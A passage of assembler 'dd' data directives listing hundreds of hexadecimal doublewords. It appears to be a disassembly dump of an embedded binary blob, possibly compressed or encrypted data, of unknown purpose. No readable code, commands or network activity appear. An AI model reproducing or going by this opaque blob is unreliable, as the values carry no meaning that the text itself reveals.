0E4BBD1h, 45F5DB0Ch, 48EEFF30h, 0D963BE1Dh, 0FD9D5401h dd 0CCD0BFE7h, 415E00C2h, 0F945020Eh, 3F1DEB63h, 76006D42h dd 7DC2CE8Eh, 1F0C00FAh, 0A499E657h, 0BC4C32A6h, 0CD3D0E93h dd 1D07E359h, 0C7581003h, 0CCFC0EAh, 43A9453Bh, 2157306Dh dd 0E88FBh, 92E3498Fh, 16CB3AE4h, 0E9EE8000h, 9BD56497h dd 725903CCh, 15D96053h, 0B8EC16B8h, 0DC88860Ch, 30E748BEh dd 0D550D026h, 200B6627h, 0E383CEh, 41EAA62Dh, 5008500Dh dd 2ED433Ch, 45070E8Ah, 36893041h, 7EC53E00h, 40650E4Bh dd 0A4F8006Ah, 0BE86F007h, 977EEB58h, 33B70A00h, 196815D6h dd 846406E9h dd 28BFF688h, 0B3787671h, 3EFD4B00h, 49B4AC12h, 9A11006Eh dd 0AE35A091h, 190054B8h, 792A9223h, 828D8Eh, 49C9A7F5h dd 27D87ADFh, 955D1E01h, 0BBEBF1D4h, 0A07DB883h, 0DFF132C1h dd 0CE12E69h, 2C4849ECh, 0FA7EA6Ch, 68C02524h, 4D92C41Ah dd 8A533000h, 356EB74Eh, 0AF8F0F63h, 0A6E136F2h, 30A07920h dd 0DA77B333h, 0A19AED00h, 6EAE15F9h, 0A88C003Ah, 0B785642Dh dd 8438037Fh, 18F80329h, 0D0FD2BC5h, 30867BEBh, 4F31AFD2h dd 82184969h, 0F5103660h, 0C5D7077Bh, 5028EA2Fh, 4F1DEBB9h dd 2C2E060Eh, 9B7420F7h, 3147C41h, 0E3E80BB4h, 22E9A0E9h dd 0EFB73081h, 5079C3F4h, 0C7698A07h, 0CFC1807Ah, 32DC8409h dd 8D2400BDh, 1295C1F5h, 4801055Bh, 0EF4E5D8Bh, 1DE893DCh dd 776307C7h, 519ED5D8h, 702DA503h, 0C8000D1Bh, 3A0AB4C1h dd 1FE3819Dh, 1C0CB0DFh, 1083D8D2h, 760022DBh, 5FEACC41h dd 42CE6Bh, 6C60C71Bh, 167D7446h, 0B60D3Eh, 7C132C7Bh dd 777F9Eh, 74609251h, 0EB9766D9h, 1E658207h, 0EDC08D96h dd 74BC084Ch, 5451000Dh, 0D05B626Ch, 77071985h, 0B0C0767Bh dd 4713543h, 5E3A3920h, 21B2C352h, 8A3D44B0h, 750ED5A0h dd 48564Ch, 0EB92FD4Ch, 7972C7D5h, 8C46043h, 130C1151h dd 4FE98900h, 0BBA081D7h, 0DAFD03DFh, 371907AAh, 90CFF690h dd 0A385D900h, 3643F756h, 404C6E54h, 273AFAA0h, 10C04F78h dd 40B1D9B4h, 4990312h, 7A8FEB18h, 2100B7A3h, 0EB1D4D2h dd 7B8E47D3h, 0D85A0797h, 53A1FA8Bh, 0A8189167h, 0AD311F11h dd 0C7990008h, 2E88E1F4h, 9103D1ACh, 0BA77C670h, 9E88001Ch dd 9D4E40C8h, 0F9F08A38h, 48B75331h, 8310F1A2h, 9B0FC7ACh dd 0E03FA16Eh, 0A367E47Ch, 3B28C0FFh, 9BF94E31h, 0B410FB60h dd 19F4317h, 0A5BCAC8Ch, 0C046516Dh, 1C007798h, 7561238Eh dd 2E7948Ah, 0F9FE4DE5h, 8040BFD7h, 150064EDh, 37170621h dd 167C660Bh, 991D0h, 1A94D8Eh, 6C1DE5A1h, 0C41FAA19h dd 0F6938D00h, 0E8EBADFh, 0E15E13F3h, 6ABD8A00h, 4A00F9B0h dd 0AB082869h, 389A866h, 79C1E9F5h, 0DC0C0448h, 48100BEAh dd 7C430BF3h, 5D00D70Eh, 52EB1F7Fh, 698E4B00h, 98618DD5h dd 10A93070h, 36F364ACh, 8062943Fh, 674E42D8h, 0FC0FA8h dd 4AF8C85Ch, 0A417F372h, 84CF34A5h, 51203611h, 3B0032CDh dd 4F749056h, 17A0194h, 768034BBh, 9D9248CFh, 0A030A518h dd 1D5ED0h, 0B8071E3h, 9B61EEF2h, 0B1F7570Ah, 883284BAh dd 7354308Ch, 1D7A91Ah, 2B440480h, 732FDC40h, 0FD0B6A4Ah dd 81A5571Ah, 0A4A7ED0Eh, 1F76771h, 16733A80h, 0C880079Bh dd 7E18CF17h, 32102ADAh, 75AA3B0Dh, 0FE351880h, 0EA29E91Bh dd 3B746200h, 867EF71Eh, 3D9EF411h, 68007715h, 551087B7h dd 0EE071A0Bh, 0BC2EE717h, 0E6C1B9B1h, 32C49ECh, 0F122DD93h dd 84E0B65Bh, 5500B390h, 0A098CDDEh, 37D69C7h, 471615ECh dd 0F0F7845Dh, 0F08A5704h, 9DA3D206h, 18B7CDh, 0EE319B34h dd 0FEB43F21h, 0D7E69400h, 0F24075FAh, 1EE4A0h, 0BD71CC3Ch dd 0B7970C37h, 0EEBF3F00h, 0ABC1E1A8h, 0C8163014h, 0A7BD4689h dd 4CCF1A1Dh, 382C3305h, 6A90CA00h, 6FE9F6h, 0A89E17A6h dd 0E43635CDh, 4877DB30h, 61CD271h, 1618A55Dh, 0A47C51EEh dd 46FB2F0Fh, 63092032h, 0EA2B50h, 4AD14F7h, 0F37BECD3h dd 0E814C7E6h, 0C94BD9Eh, 0E1C2A523h, 80A35474h, 18FA7BEDh dd 64CA4348h, 1C01A725h, 8C242C17h, 28A6B5C4h, 87A307C8h dd 0A99A0013h, 0DF0FD770h, 60EB4E79h, 86301C59h, 0A84C00DDh dd 93C2BD5Ah, 6F01C081h, 0A6DB700Eh, 0E0BE9A0Fh, 7E84D90Ch dd 0C736C618h, 0A09E89h, 9682873Fh, 9559C1EFh, 9242F100h dd 4D17F030h, 3C27E833h, 4A80B0B7h, 42E40F80h, 0D7003577h dd 2E5502ACh, 359D590h, 578276E7h, 1EE1FF2Bh, 936F408h dd 2F563303h, 0C7CC34E9h, 0AC157B51h, 0E106DC4h, 137F1793h dd 0AF31E080h, 0D11DDA36h, 0D3000AC0h, 0ECAB2B28h, 0CEBC1CE6h dd 8D26C0A7h, 5421797Bh, 36C5E70Eh, 9E0E400Fh, 0F606DBh dd 0AE34D6ACh, 0B3E6ED7Fh, 66101D1Eh, 0A21674D2h, 0C540AE1Fh dd 0C7338D1Fh, 3941DB3h, 21BC18C4h, 3A702276h, 9E032B90h dd 1AF9DD66h, 0E96800C7h, 0A8FAE894h, 7A386905h, 81739229h dd 175CF100h, 0F7192Ah, 0D2BAD862h, 74B8DECh, 89FDC530h dd 3C28D4ADh, 0FA00DB7Eh, 0BB1597CFh, 9A01A5D5h, 9485D1CEh dd 0FCF84387h, 0C24D00F2h, 0ADEA622Dh, 0A20F5A9Ch, 0FF91F790h dd 1F29F980h, 5350871h, 849D8619h, 0E62CC079h, 2B007C0Dh dd 87BF0576h, 0F2A9C352h, 4E5000B8h, 0D90EDFAEh, 260A4DD3h dd 0D4EEAB83h, 0EF000A12h, 18EB73A1h, 0B70D0B98h, 0C400E5DAh dd 0AD646E5Bh, 612EE01h, 3E8A2887h, 7786D8F0h, 31CE3EA9h dd 0AEC20E00h, 33504D2Eh, 758DE800h, 0F08EB766h, 0C3E60018h dd 49BFC9CBh, 0C60188AEh, 8459FD1Fh, 40E2BCC5h, 3A60D469h dd 0C70064E7h, 0F2611E6Ch, 0F4009F23h, 0C9DEC836h, 842DB6h dd 2AD3025Bh, 71CEC2B3h, 0F83C7403h, 0DF3ACB79h, 3525070Fh dd 99CF0E90h, 88B63E1Fh, 5FEDA381h, 0F0DC452Bh, 890021E4h dd 0BDD50E6Bh, 3DF377h, 4A3446CDh, 2130C2BCh, 99259404h dd 1EC018C0h, 1C3FCAh, 0D5E2D2E7h, 8928E8F5h, 0B61DF92Eh dd 0D815C00h, 3246233h, 9F1E07FFh, 0C800C627h, 8C63217Fh dd 3BE10D6h, 3BD2EAB7h, 0C2E3B8C3h, 879BACF8h, 14B61C3Ch dd 41F90h, 0CD919989h, 0FAAD74B8h, 0F9CE0187h, 82FA551Ch dd 576BC8ABh, 0B3503BFAh, 0F4509AF8h, 27001D89h, 0D38DD84Bh dd 7AF323h, 39F13DF7h, 7762456Bh, 2FC3DA00h, 0A41FA629h dd 70B87Ch, 6B25343Dh, 93A75F76h, 0ACF9B300h, 9451669Ch dd 421A0067h, 7BF39D24h, 0D80046AAh, 0D5840CEFh, 5221B4h dd 4B3585A8h, 4324DC5Bh, 0C75984A0h, 0F3CC5F00h, 3A257E16h dd 4FDA7332h, 126AC23h, 0F8D751E7h, 74C855B5h, 184100C3h dd 43EB2152h, 0A00F9ADh, 0CE7EC6F1h, 0A95558h, 965B3B5h dd 298AF44h, 1D99E63Bh, 36CCE2D9h, 0DB208Eh, 0FB9C6C57h dd 5D56169Fh, 28927A1Eh, 88F1CC1h, 0B6288382h, 1E606806h dd 0EE7D9056h, 0B14D4801h, 3F1D9761h, 0CEF7EC86h, 0B0079B6h dd 0F92CC00Fh, 0A27AE9h, 4D6490E4h, 58F6984Ch, 25F44700h dd 55438A0Eh, 0A77F5Dh, 6C1CA42Eh, 7B52B2F1h, 2077D800h dd 47C6B9A0h, 0E1182C7Dh, 39AC0FB4h, 0EDCB0916h, 9786C980h dd 0C200017Ch, 754A0A9Fh, 764B48B3h, 0D3340FC9h, 26C0D1BDh dd 0D7CC86B2h, 0E14FC500h, 9EDE6780h, 0F5DC00EFh, 758468A0h dd 961F2FCEh, 42035B60h, 0C01B787Eh, 0F85EF1h, 94591E4h dd 0A3102567h, 0FB38100h, 8A604094h, 265D01D0h, 1BCDB488h dd 1D7FC4C7h, 0A29A1A0Fh, 561658E0h, 400200FBh, 0A3453A78h dd 6090BA29h, 0F1CAA11Eh, 72129326h, 51103000h, 4D9ABEh dd 0C484C6B4h, 0E1575C4Bh, 963EC200h, 0D7DF7066h, 0ADDC00D0h dd 0CC9B67D1h, 870FA77Fh, 593ECAh, 7ED85522h, 92FC72A4h dd 10D40094h, 2D48A68Ah, 3202AD9Ah, 14B2CB50h, 33B8601Eh dd 92B03C96h, 0D0239400h, 7D5CF6C3h, 698B5D00h, 963FDD48h dd 1D9002Ah, 50D7D5E8h, 45002643h, 4B530302h, 588A879Dh dd 0E006465h, 0C19A4AA4h, 3E004D63h, 53F8E466h, 0EE83EA94h dd 5F4300B5h, 0B98B1F0h dd 7F001AB6h, 6BEE3CEBh, 0E344A2h, 0C3B593CEh, 0A65C4A3Bh dd 370A39h, 26ADB184h, 4C4E32E3h, 0DA0115D2h, 0A92D7899h dd 8690803Dh, 0AF2048A4h, 0BFB200C1h, 8D679DC6h, 1800CBA2h dd 16B54CA7h, 714165EFh, 378237D8h, 5F877038h, 1B00BA7Dh dd 0ABB0DF61h, 0FA6786E5h, 98F64C93h, 9802860h, 757777A1h dd 0CA920A1Dh, 20D93DC0h, 394FFE2Fh, 0D002AF94h, 4596BA12h dd 75C825C0h, 149C1807h, 0C540B919h, 1C308F0h, 2F7345C7h dd 0CC59ABA9h, 0CE00801Eh, 0FF8B711Ch, 0E7170Bh, 7F5FA66Ch dd 9BA95053h, 28D86F03h, 0E84ADD5Ah, 96E80CAh, 84614F17h dd 0B0559080h, 9A1E7DBAh, 0BDC00F67h, 0A25EC4A3h, 4910103h dd 0B72BB651h, 7DCFF852h, 0C465AA00h, 9757AC28h, 59FE001Fh dd 3D2294ABh, 0BE00DC50h, 95DE63E6h, 906C0861h, 596F0075h dd 0DF372205h, 5E009A2Ah, 28D2CD97h, 70DB79A3h, 42A5074Fh dd 20A7C3E4h, 30701E7Fh, 0B044E000h, 206E555Ah, 0BA6A00D3h dd 912FD050h, 67035B14h, 1E15A426h, 7BB9D888h, 0E3BB01C1h dd 0A5DE9207h, 9DF4FCE0h, 3C1B6A09h, 0B8CC01D7h, 928B8517h dd 0C001D12h, 4016105Ch, 46C7AC01h, 6A0DBACFh, 2BA0A647h dd 0F4AF8D71h, 0B020771Fh, 45F90285h, 55FFC782h, 7A95E460h dd 0ECDF750Ah, 0EA03E8F8h, 0D0FB32F4h, 683149h, 8E6C092Ch dd 0FD54B4BEh, 0AE7B5300h, 72D45A6Bh, 0C0E90EE6h, 0B20160EFh dd 0F8188402h, 0A03050E5h, 0FBFC60B7h, 3C5200A4h, 9E2ED8BBh dd 0E9008AF2h, 835958BAh, 5CB9C7h, 4ACFCD9Bh, 0A6ACAA4Dh dd 46FBB609h, 0E9E820ABh, 0FF7184h, 6B806126h, 25CAC3D3h dd 89AA826h, 0EDBE6D87h, 0A1E1F520h, 559100E6h, 0AA4A79EAh dd 0FF00CD42h, 0A62D42Dh, 77EEB216h, 46D70123h, 0E8F80898h dd 9740F2FCh, 0E673301Eh, 0F0000B0h, 0FF7A1211h, 4F7509h dd 6AC4901Ah, 76EB570Dh, 0A1745300h, 0E26E1F8Ch, 56DE017Eh dd 3589111Eh, 0E1AA20A6h, 0ACB8B100h, 0A22C979Ah, 0E87600BFh dd 0F5460864h, 0B5C4CABh, 80920055h, 0A5CBBCDFh, 9BE80068h dd 0A73F7C0Eh, 7201A3D3h, 0C1FC87EDh, 0C437157h, 0DC9AF8EEh dd 0C7B3002Eh, 1C02FF63h, 0C2071DF8h, 0DA2F6455h, 0D2AB6810h dd 8B8D00E3h, 100FFD21h, 830042CEh, 9837A16Eh, 3E3D29C5h dd 79F15Fh, 6B45B72Ah, 77FC4DBAh, 9F00DD72h, 0CFF4DC90h dd 7B6A460Ah, 3F150043h, 70F55A86h, 1900ABCBh, 2E925452h dd 787F08B1h, 69330E7Ah, 0AF60D67Eh, 0A680BF8Ch, 7984891Ch dd 19C64D00h, 247E14Eh, 0A5AA207Eh, 0E240DDA0h, 0EE0E6725h dd 71F327h, 7E62D773h, 9F9100CFh, 0C33FCBA6h, 1AE25530h dd 0B0892C3Fh, 1DBB70B6h, 8FBD00E6h, 0FE902043h, 40015867h dd 0C9A622B5h, 0A460B021h, 0A313CEAh, 37AE0E0Fh, 0F0E215E7h dd 93CCB6CAh, 29C7DA00h, 5497E87Dh, 5722Eh, 5B55781Ah dd 0EE1CB1B3h, 8D539B00h, 6C9A4FACh, 4A7500B4h, 51ED1FA3h dd 2326D55Fh, 0B300DB70h, 0EE5DAEE6h, 9D17FCDh, 0D2F88F81h dd 20623D87h, 0FF5237E7h, 95D5F100h, 28B78538h, 6760008Eh dd 0A274506Ah, 0B009ACCh, 0A1B21D9Dh, 64220Eh, 38592E55h dd 1853E061h, 0E90319FAh, 0E25AE6D6h, 7D78E887h, 0EEE400BEh dd 0B61FAC2Fh, 0E8008F24h, 56985B13h, 5AC1F4h, 0C082CBD3h dd 86ACB655h, 6B7BCD00h, 0C6AA0C26h, 837167h, 19682B1Ah dd 0A1A59C20h, 8F14A700h, 0CEF9C3C5h, 59D50069h, 945846F4h dd 0B90042CCh, 2F37456Dh, 1EC2AC39h, 40114A98h, 9FC92001h dd 83001F56h, 7E305ADDh, 4A5F46DBh, 60CC4068h, 0F8D3042Ch dd 57160F00h, 0AA94E4D8h, 0AFDCF786h, 2BA4008Bh, 0C3B3AEC0h dd 1A50B529h, 0C85D2C8Ch, 218100C4h, 0A37D9DEFh, 4C830EB8h dd 58C0DBE0h, 49AA9064h, 77C3B000h, 2005CFB4h, 92F607DFh dd 73A753C6h, 2C888114h, 890CCD5Fh, 195D757Ch, 0F751001Ah dd 7467A8EBh, 3277DEA0h, 33BC0E00h, 447BA975h, 724B0022h dd 0B6C07F8Bh, 5B0F2548h, 604268E6h, 5CF48411h, 574700B0h dd 0F70219FAh, 0C824CE0Fh, 0D50FE0D2h, 0FC7C62B4h, 17C780A1h dd 1E3F8867h, 8435A032h, 0C090DB4Dh, 5CB4468Eh, 6C390C0Fh dd 940DC0A4h, 38D2FBDh, 32FF78CCh, 34B8FA4Dh, 0AA003693h dd 0B222D12Bh, 7CADC129h, 795B285Fh, 41E206B8h, 20DED8C7h dd 45F78201h, 609C6797h, 2E4D0AF4h, 1C85124Ah, 89DB0043h dd 2174330Fh, 7C464Ch, 0CE7D55A5h, 7DE0089Ah, 0F82200DEh dd 0A2E9C14Dh, 92094181h, 1A5782h, 1936E4DEh, 0EBD600A1h dd 0A804330Bh, 5007999h, 7A172795h, 1DB2EC2h, 1D320C4Ch dd 0D4CF118Eh, 0B50004D9h, 0B0DEEEF9h, 6231BBh, 650C09Bh dd 6096D29Dh, 71BCE300h, 8992B70Fh, 3D698E5h, 0AD5F2DB2h dd 7BD05710h, 80C3A277h, 0F0FB3013h, 49055Ah, 0E2036C0Fh dd 7BFD429Ah, 809F023Eh, 0C78FD8B3h, 0EEE5179Dh, 1E460001h dd 0DA37E4BAh, 400415DCh, 4E819411h, 80057CC0h, 0E49F7417h dd 592D0F1Dh, 0DFE09DFBh, 168132Ch, 3778B300h, 0A270F2ECh dd 3DB4048Dh, 0C3B23FBDh, 0CAC8BF14h, 0DD388972h, 1CEC808Bh dd 0ACD547CFh, 42D3C0Ch, 0ACDA800h, 18D272E8h, 9232EE00h dd 936DACB1h, 0C2030B7Ah, 0AF8051D3h, 1171C162h, 0D022775h dd 0DE0E7B3Eh, 0BFDC030h, 8A45009Ah, 744B78F8h, 370092D7h dd 0A8CEE521h, 0F0BAB47h, 0E1D64632h, 400A9F5Ch, 4243CC36h dd 14793318h, 5BBF0503h, 0D054476Ah, 718F1B4Fh, 8AF10080h dd 644568B7h, 6000876Fh, 0E72E3115h, 11440Ch, 929B2DB3h dd 0F43E29DBh, 83FA1F00h, 0B11BE690h, 0C85000FEh, 0C5771AF2h dd 2712BC3Ah, 20C09D6Fh, 97C445h, 0C9E484C1h, 0A30396E8h dd 7D367C00h, 0FDA4874h, 4070065h, 0B210D353h, 0C2042DF7h dd 0EB6EB94Ah, 74556EC7h, 61E08787h, 0E26525ACh, 0A5520067h dd 4976A2FEh, 12B83821h, 58D16200h, 20C42E6Ch, 0CC2B1F06h dd 31ABC0B8h, 2A046D11h, 0D3CE471Ch, 7AEA2780h, 133540E6h dd 8011CAB6h, 2B1237F4h, 0D68BBB01h, 0D4F7347Ah, 8072F4h dd 572899CEh, 652E9F5h, 61773A03h, 0C07F37A7h, 13D3A5E1h dd 40C1D1BCh, 0F82ECA8Ch, 0D07C33Ah, 0B1455C1Eh, 1596B2C0h dd 73CC00D7h, 0AB6A17E8h, 0F703B063h, 0C0B34EB9h, 494DC004h dd 645153D1h, 28DEB90Ch, 0FA0753A9h, 182462Fh, 335EC80h dd 0D999012Bh, 0F1184E23h, 1202F4EAh, 1D67D003h, 0A0AC3CA0h dd 0C91696h, 5FEE5A6Ch, 822B4645h, 9726E73Ch, 1500229Dh dd 0F7BF2CF6h, 0B07C0B1Dh, 8055900Ah, 73F2173Ah, 0B0B2h dd 0C124CEEBh, 4F1AA5DBh, 9EC39500h, 0C5E3EFF5h, 659A0164h dd 0DC94932Bh, 5418C029h, 80085E3Dh, 765255EEh, 0E0803BA4h dd 0A6990FB6h, 0F70F8B73h, 6DC9807Fh, 0EF25A07Dh, 0B65B5900h dd 0AEDC7E77h, 0D5910093h, 0C8DE562Fh, 13BFC8Dh, 0AF490013h dd 0AE968C64h, 9F6600BCh, 0F82F4DFEh, 8500AD69h, 0C47C467Bh dd 0B2AC23h, 21BB3CD9h, 6D84C21Ah, 801E0127h, 0F83774D8h dd 0B76300BDh, 445F60F7h, 27032D0Dh, 0E8029A41h, 0F0078DCDh dd 92D1907Fh, 0A960E760h, 1AC00D6h, 0EA3A7937h, 0C203A298h dd 2FF3CA66h, 0A642E021h, 0FB70078h, 0D64F4EE9h, 3FEE41BFh dd 478E7D00h, 364D54EDh, 3DD57866h, 0F100CB63h, 62B32C9Ah dd 33743537h, 0CA585F09h, 1A3000ABh, 305B7E6h, 8D4E9E4h dd 0CBE19667h, 3918D801h dd 23303312h, 0FD12C880h, 494804D1h, 0B05BEAAEh, 87000744h dd 3704A3D8h, 7C86018Ch, 0DF880C1Ch, 9960431Dh, 6EF47259h dd 50BC0458h, 0BB911Eh, 5F1C232Ah, 28185E9h, 68CAE556h dd 54E0CD1Bh, 4E7EF96Bh, 63E38300h, 0F0B7B521h, 8B010149h dd 3882DBACh, 64AAC4EBh, 3F73BC00h, 85D3CAD9h, 0D0E30E2Ah dd 15CDDBD1h, 0B5598440h, 62086991h, 0D315B161h, 9A8A701h dd 80BDD0F4h, 1984DC9Bh, 0B05C0B37h, 2C83E219h, 0B104334Dh dd 0E5548D46h, 4CA1E104h, 68240B3h, 0BAC3D1ACh, 480010DBh dd 0C1FDAA65h, 0BB89F6h, 6BE2E5B9h, 0DCCC4FBFh, 0BC692500h dd 0DE685615h, 95D0C376h, 28C07FE3h, 98A05738h, 63FA155Ch dd 0B72814Ch, 80BB49D4h, 388568ECh, 0AEFD0307h, 8FC35E84h dd 0F002B5E9h, 0FB008103h, 49E2AF93h, 0FD12E5Dh, 0A5CD825Ah dd 0F0656400h, 0E4634263h, 98D428A8h, 561245h, 6A27F5DFh dd 37D2C907h, 0C5ACC400h, 0D1179CDAh, 0A5F801AFh, 0CE7EF354h dd 2D603020h, 0F076D700h, 8CBAD0E9h, 71D00DBh, 3B94B351h dd 0B800035Bh, 254F61AFh, 3EF08C7Ah, 62000827h, 2E83F44Eh dd 0BEC0B3A9h, 0C88B556Ah, 26FA00D6h, 5B3731A8h, 0F91757A2h dd 7800EC72h, 5385E41Ah, 9F040077h, 48C1781Bh, 3EF02F37h dd 7036D300h, 0AA6796BCh, 0FAE500A7h, 5D199D0Ah, 871E9446h dd 0DD640842h, 0C52F803Bh, 73277AE4h, 11176DDh, 0D9CB4706h dd 0D04AD84Eh, 1C005905h, 0A4383295h, 93B797h, 4FF26DBDh dd 0CF4AD65Ah, 7A1EA9E8h, 53C02BACh, 2C9C9671h, 82DA2410h dd 6F400020h, 0E26CAA8Bh, 0B89D4712h, 21D3584Dh, 24064FD0h dd 3F2D8A2h, 0CD852EF0h, 7A184890h, 3F2260Eh, 1009CF1h dd 80B124A6h, 60E0284Bh, 748528E8h, 0F4281314h, 0C9CCB0A9h dd 723429C4h, 3A427048h, 0C51E22D3h, 2E771C22h, 1EBD56A4h dd 523ED0D1h, 0A1C131C2h, 27102938h, 0F6802D32h, 0BAB04013h dd 0CF573905h, 1406A485h, 50C9EBBDh, 44DE14EAh, 50A0600Eh dd 51D65C5Fh, 8D798918h, 4CA1CA03h, 156F0414h, 42A2082Ch dd 282434D7h, 0FCC1D840h, 177F7EA5h, 0C137D2Eh, 707FEC00h dd 8442BAh, 0B9EB77A3h, 3D5E6BCDh, 2C51C603h, 80B71392h dd 179983Ah, 0CABC81C1h, 0F73974AEh, 2B429AA8h, 5D00C9B8h dd 0CE97AC0Ah, 714DDDh, 1EAE7804h, 7B1F3D0Bh, 803B8C3Ch dd 509E6B27h, 391CC7E9h, 3E00F1CFh, 0F35F8909h, 0E3ADA98h dd 1E7F0E27h, 2430E0FAh, 363C560h, 3D09B91Ah, 0F4F0AB53h dd 7F3F0FB8h, 3A568051h, 0D022F3FCh, 8EF0009Bh, 3BA1F12Dh dd 7B001A48h, 0F2FC354h, 12BDAF2Ah, 1226A4BAh, 8B2C00E0h dd 86A0A801h, 5F1E4A7Eh, 61CF031Dh, 7A81017Dh, 7E205B52h dd 432E0058h, 72785777h, 7E008F3Ch, 88FCAC92h, 0CB717C4h dd 0AF3E9894h, 0AE269A60h, 70080F9h, 1E548488h, 64B029h dd 0A6E83AF3h, 5A75CF80h, 0C44DE000h, 92360F7Fh, 16EF0331h dd 1D8F805h, 5ECDD0B7h, 5F76E7B2h, 53336200h, 456D55F7h dd 7CA600D7h, 4B9DE356h, 0B200E623h, 4264200Fh, 0F1AD27h dd 2E046EF7h, 2FA66266h, 0A30E0B00h, 109B18B9h, 1FCD0072h dd 0D1D24427h, 0E43F3C43h, 54528071h, 9CE86D62h, 4B200021h dd 0E7C91A4Dh, 0F2003878h, 6DA0D157h, 7013A1h, 10D90AD0h dd 0BDAEE3A3h, 0D30CAD00h, 9CF3B87Ah, 567DF0h, 59C804A9h dd 0EC570C2h, 0A8FF6100h, 2855EBCAh, 31D0003Ch, 89FB4146h dd 211C6D8Ah, 0B840F35Dh, 3DEBBAF2h, 60D600DAh, 0E6225F5Ah dd 0FB00BD8Bh, 0EA326EDEh, 65459h, 0B5CD0CBFh, 7BABAFD8h dd 83C07E3Ch, 0BE24D4C7h, 0C8628B93h, 0E3019Dh, 7A9905A0h dd 408FEDF5h, 0F8A27E01h, 86D1B64h, 2B3860h, 0C04831F0h dd 0CFFEEEDBh, 742CC1Ch, 8B0FD89Eh, 66D005Ch, 72B93B8h dd 0ACAB1C90h, 6AD8D01Eh, 0FB18DF11h, 73107F7Ah, 0DE3E0053h dd 9D514D99h, 0FC240AE3h, 0C00030B1h, 70FA55DFh, 0CF5D1EFBh dd 0D1E6803Ch, 0E199C932h, 0A5B62B00h, 0AF1E8DBFh, 56720084h dd 0AAF29478h, 0A0031B95h, 9E5F12A1h, 7D83D0A5h, 18E60051h dd 0E376DDE2h, 8E00F3FFh, 3DB80CB9h, 0E3FA5CA0h, 5E59ECh dd 994E94A5h, 75CD502Ch, 0D0B9C100h, 0DAF4D378h, 60A598C6h dd 0B46D9074h, 0AE282F7Ah, 0C207EC63h, 0A935508Ah, 149A2C7h dd 53ABFB1Ch, 3463D20h, 0F03C74DBh, 0E8B08092h, 7D07D191h dd 0F809AEBEh, 0F6D81310h, 5DEE0120h, 7C726F6Eh, 0B7D9E4F4h dd 5277A58h, 936210AEh, 0D01154D3h, 242219F5h, 0CD2939h dd 40166EADh, 371D9CCCh, 78812CB2h, 0CBCFFF8Eh, 0B4D60h dd 7F110AFDh, 0D6017E41h, 6E2FFE00h, 2A7809BEh, 1ABF0FA3h dd 5000D4D7h, 0BAD912CFh, 52C20200h, 9E62881Fh, 1E2F00F1h dd 3D23C871h, 19055744h, 0E3A2ADFFh, 0F34F94C0h, 49730089h dd 0E9F57169h, 0D4001696h, 4ACA2391h, 39C8CC77h, 0E7008F47h dd 0A5AEE5B6h, 0B5000D9Ch, 0F88B89BDh, 734C9ABAh, 6DFD5823h dd 909C0170h, 170C9166h, 0FFD231C0h, 82E855A8h, 0B4A30200h dd 9FAAD208h, 0AE45092Eh, 77806A61h, 0FF1BE7ADh, 9800CAB8h dd 267C18F4h, 3C1FBF99h, 65824914h, 5FA3596Fh, 0BBAA0940h dd 9F9C1800h, 0CB970401h, 0A1723E32h, 28D0B000h, 57DACD22h dd 0CAE7FC03h, 9786AE39h, 0D4A87731h, 10314F8h, 0DF50BCC7h dd 0E417E765h, 7F1C5622h, 27802C8Ah, 6E4D08AFh, 1A09008Dh dd 553BD937h, 0D89D64DFh, 0C63105E0h, 0EFF4629Ah, 29C1D400h dd 3700246h, 0CFE39C60h, 63D0504Eh, 8000CDE8h, 4B2A4575h dd 0B023D8A9h, 0FD530F08h, 57A18BC8h, 0D5EAC96Dh, 68FA802Bh dd 3B6E489Bh, 36EF00AAh, 513ADC97h, 0D20139CEh, 40608759h dd 0FC346256h, 64F6001Bh, 2888FF03h, 123A813Bh, 6BAD8F82h dd 0E506012Bh, 99D05EA1h, 78AA00BAh, 0BE910AB9h, 50980239h dd 0CC883600h, 7368D1A0h, 15E7617h, 0D230AFF0h, 0ECC9118Dh dd 4500DA3Fh, 0FFEE7AFDh, 0F2E67983h, 8E9B00FAh, 58F20D2Eh dd 2B00CFC8h, 0EEDD9CA3h, 588B9368h, 30007012h, 9684B618h dd 0A23B9A5Ch, 0D9B10005h, 579CFE01h, 0C9DC0067h, 95790BE9h dd 37EEA5CFh, 32801600h, 1883B293h, 0F67500CCh, 0A78B5AEFh dd 1700CEA8h, 7BA19D1Bh, 7CDB041h, 965C0857h, 1FC9E064h dd 58B845A2h, 6B678100h, 97072244h, 0A0F70369h, 64CCC59Fh dd 4EB0B29Bh, 0D6008731h, 7316853Ch, 50B46Ah, 1EA09765h dd 25C73A27h, 0E7173000h, 0E8189807h, 0EC2D00F6h, 1B6E1912h dd 0E00C461h, 856896B3h, 150E932h, 6B8225F9h, 20453715h dd 600F0972h, 0C065D228h, 0CDDBAF81h, 0CC716Dh, 0EE783A04h dd 0EA628DFh, 3D075C98h, 8AC6F7D5h, 0C0D302F2h, 346BBFCh dd 171415ACh, 9EE8EE83h, 7500C284h, 0AB03808Dh, 1DB2FC6h dd 1E748252h, 0F87C7BF0h, 0CC030BEFh, 55AACECBh, 0A580A770h dd 0E86E6A56h, 2D510161h, 0EF465AF2h, 3036EDEBh, 170EE0A0h dd 0A01BD539h, 1D13A96Fh, 0D9D33D83h, 0BC321880h, 1EB76B5Fh dd 109E4C00h, 0EBED235Dh, 0B1150060h, 0FC5FBEF6h, 64F82CF9h dd 96E65600h, 4F6F5493h, 0D65B07FDh, 91DC3D1Eh, 0DC95177Bh dd 9003198h, 0A0EAAEB2h, 16CFD5CCh, 0E8E53E7Dh, 6FA30029h dd 0ECA3968h, 9BF81C08h, 178E409Eh, 3C3A9D40h, 0C6E66400h dd 0E383E850h, 27D900D8h, 3BAA25E1h, 0AB07F7C7h, 9D241391h dd 61ED9060h, 59D00137h dd 0DCA152BFh, 0F01CF983h, 0D004FFAh, 0C42054F5h, 3F043E9h dd 9ECFB130h, 1800F645h, 6081113Ah, 634AA7h, 92ADFDEAh dd 0A9F7FB9Eh, 0E030963Ch, 0E20EC928h, 0ECC700A3h, 3DFCAE5Dh dd 140B855Ch, 802F454Ah, 768219E8h, 8578B762h, 4CD54300h dd 9BDF6CE1h, 2AC90040h, 0DCA7C218h, 383BADE9h, 0C3B8805Fh dd 0F8A3B2B1h, 634B00A0h, 42E65E7Fh, 0BE009F88h, 0E50958F1h dd 4061D0Dh, 0ABC295DCh, 212D8092h, 0E7007CB4h, 0C158204Ah dd 0B8531411h, 96951754h, 0A67F009Fh, 0C45ED0EBh, 3CB03100h dd 0C8DC6B94h, 2A5407F4h, 0D7CE7D50h, 95CA50F7h, 0DE003FF0h 